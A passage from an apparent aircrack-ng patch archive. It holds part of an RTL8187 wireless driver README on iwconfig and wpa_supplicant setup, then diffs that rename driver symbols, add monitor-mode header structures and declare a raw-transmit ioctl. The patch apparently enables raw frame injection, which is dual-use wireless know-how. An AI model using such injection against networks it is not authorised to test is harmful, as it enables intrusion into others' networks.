and start up nic - ./wlan0up - -< Set wireless lan MIBs > -This driver uses Wireless Extension as an interface allowing you to set -Wireless LAN specific parameters. - -Current driver supports "iwlist" to show the device status of nic - iwlist wlan0 [parameters] -where - parameter explaination [parameters] - ----------------------- ------------- - Show available chan and freq freq / channel - Show and Scan BSS and IBSS scan[ning] - Show supported bit-rate rate / bit[rate] - Show Power Management mode power - -For example: - iwlist wlan0 channel - iwlist wlan0 scan - iwlist wlan0 rate - iwlist wlan0 power - -Driver also supports "iwconfig", manipulate driver private ioctls, to set -MIBs. - - iwconfig wlan0 [parameters] [val] -where - parameter explaination [parameters] [val] constraints - ----------------------- ------------- ------------------ - Connect to AP by address ap [mac_addr] - Set the essid, join (I)BSS essid [essid] - Set operation mode mode {Managed|Ad-hoc} - Set keys and security mode key/enc[ryption] {N|open|restricted|off} - -For example: - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - iwconfig wlan0 essid "ap_name" - iwconfig wlan0 mode Ad-hoc - iwconfig wlan0 mode essid "name" mode Ad-hoc - iwconfig wlan0 key 0123456789 [2] open - iwconfig wlan0 key off - iwconfig wlan0 key restricted [3] 0123456789 - -< Getting IP address > -After start up the nic, the network needs to obtain an IP address before -transmit/receive data. -This can be done by setting the static IP via "ifconfig wlan0 IP_ADDRESS" -command, or using DHCP. - -If using DHCP, setting steps is as below: - (1)connect to an AP via "iwconfig" settings - iwconfig wlan0 essid [name] or - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - - (2)run the script which run the dhclient - ./wlan0dhcp - -< WPAPSK > -WPA_SUPPLICANT help the network to communicate under the protection of WPAPSK -mechanism - - (1)Unpack source code of WPA supplicant: - tar -zxvf wpa_supplicant-0.4.9.tar.gz - cd wpa_supplicant-0.4.9 - - (2)Create .config file: - cp defconfig .config - - (3)Edit .config file, uncomment the following line: - #CONFIG_DRIVER_IPW=y. - - (4)Build WPA supplicant: - make - - (5)Edit wpa_supplicant.conf to set up SSID and its passphrase. - For example, the following setting in "wpa1.conf" means SSID - to join is "BufAG54_Ch6" and its passphrase is "87654321". - network={ - ssid="BufAG54_Ch6" - proto=WPA - key_mgmt=WPA-PSK - pairwise=CCMP TKIP - group=CCMP TKIP WEP104 WEP40 - psk="87654321" - priority=2 - } - - (6)Execute WPA supplicant (Assume 8187 and related modules had been - loaded): - ./wpa_supplicant -D ipw -c wpa1.conf -i wlan0 & - diff -Naur rtl8187_linux_26.1010.0622.2006/symvers rtl8187_linux_26.1010.0622.2006_rawtx/symvers --- rtl8187_linux_26.1010.0622.2006/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/symvers 2008-01-30 17:38:11.000000000 +0100 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006/wlan0rmv rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv --- rtl8187_linux_26.1010.0622.2006/wlan0rmv 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv 2008-01-30 17:38:11.000000000 +0100 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-rc4/patches/old/rtl8187_2.6.21v2.patch0000644000000000000000000116407610761053203020372 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_orig/beta-8187/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h 2007-06-08 23:30:29.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-06-08 23:30:29.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-06-08 23:30:33.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-06-08 23:30:29.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-06-08 23:30:33.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-06-08 23:30:29.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-06-08 23:30:33.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 0 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 